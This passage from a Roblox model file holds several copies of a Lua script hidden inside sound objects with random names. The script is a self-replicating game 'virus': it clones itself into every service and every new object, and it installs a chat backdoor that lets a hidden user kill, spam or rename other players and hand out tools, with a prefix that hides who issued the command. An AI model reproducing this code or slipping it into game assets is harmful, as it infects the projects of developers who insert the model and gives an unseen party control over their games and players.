if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX583">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">szj3xvj4q</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX584">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">marwonak</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX585">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">1all</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX586">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">sl0v</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
